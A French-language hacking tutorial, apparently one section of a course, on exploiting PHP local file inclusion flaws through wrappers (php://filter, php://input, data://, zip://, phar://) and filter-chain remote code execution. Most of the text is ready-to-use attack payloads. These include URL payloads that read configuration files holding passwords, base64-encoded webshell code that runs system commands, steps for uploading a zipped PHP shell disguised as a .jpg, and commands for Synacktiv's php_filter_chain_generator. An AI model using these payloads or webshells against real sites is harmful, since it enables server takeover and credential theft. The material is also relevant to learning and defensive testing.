6. Wrappers PHP — exploitation avancée des failles d’inclusion

Les wrappers PHP sont des protocoles spéciaux reconnus par les fonctions d’inclusion. Ils constituent un vecteur d’exploitation avancé permettant de contourner certaines restrictions et d’exécuter du code même sans fichier de log ni serveur distant.

php://filter — lire du code PHP encodé

Le wrapper le plus utilisé en exploitation LFI. Il permet de lire le code source de fichiers PHP sans les exécuter, en les encodant à la volée.

# Lire config.php en base64
?page=php://filter/convert.base64-encode/resource=config

# Décoder côté attaquant
echo "PD9waHAgJHBhc3M9..." | base64 -d
# Résultat : <?php $pass = 'SuperSecret123'; ?>

php://input — exécuter du code via POST

Si allow_url_include est activé, php://input lit le corps de la requête POST et l’exécute comme du PHP.

curl -X POST "http://site.com/?page=php://input" 
     --data "<?php system('id'); ?>"

data:// — injecter du code inline

# Code PHP en clair
?page=data://text/plain,<?php system('id'); ?>

# En base64 (bypasse certains filtres)
# Payload : <?php system($_GET["cmd"]); ?>
# Encodé : PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id

zip:// et phar:// — fichiers compressés

Utile si on peut uploader un fichier (même avec extension .jpg) :

# Créer une archive contenant un shell PHP
echo "<?php system($_GET['cmd']); ?>" > shell.php
zip shell.zip shell.php
# Uploader shell.zip (renommé en shell.jpg)

# Exploiter via zip://
?page=zip://uploads/shell.jpg%23shell.php&cmd=id
# %23 = # (séparateur entre archive et fichier interne)

 

php://filter — Chaining de filtres (RCE sans fichier)

Le PHP filter chain est une technique avancée permettant de générer une chaîne PHP arbitraire uniquement en enchaînant des conversions php://filter, sans avoir besoin d’aucun fichier sur le serveur. Elle transforme une LFI en RCE même quand aucun vecteur d’injection classique n’est disponible.

Le principe repose sur les conversions convert.iconv.* et convert.base64-encode/decode enchaînées pour construire octet par octet le payload PHP désiré.

# Exemple simplifié : générer ""
# via une chaîne de filtres iconv (tronquée pour lisibilité)
?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|
convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|
convert.iconv.UTF-16LE.T.61-8BIT|...../resource=/etc/passwd

Outil : php_filter_chain_generator

La génération manuelle est impraticable. L’outil php_filter_chain_generator de Synacktiv automatise la création du payload :

# Installation
git clone https://github.com/synacktiv/php_filter_chain_generator

# Générer un payload exécutant "id"
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

# Utilisation dans l'URL (le script génère l'URL complète)
?page=php://filter/convert.iconv.UTF8.CSISO2022KR|...|/resource=index.php&c=id

Avantages du filter chain

  • Fonctionne sans allow_url_include
  • Ne nécessite aucun fichier injecté (logs, session, upload…)
  • Contourne les filtres sur les extensions et les chemins
  • Applicable dès lors qu’une LFI existe, quelle que soit la configuration

Tableau récapitulatif

Wrapper / Technique Usage Prérequis
php://filter (lecture) Lire code source encodé Aucun
php://filter (chain) RCE sans fichier via iconv chain Aucun
php://input Exécuter POST body allow_url_include
data:// Code inline dans URL allow_url_include
zip:// / phar:// Code dans archive uploadée Upload possible
Points clés :

  • php://filter (lecture) ne nécessite aucune configuration spéciale et lit le code source en base64
  • php://filter chain permet une RCE sans aucun fichier grâce à l’outil php_filter_chain_generator (Synacktiv)
  • data:// et php://input permettent une exécution de code sans fichier externe
  • zip:// et phar:// combinent LFI et upload pour exécuter du code
SEE ALL Add a note
YOU
Add your Comment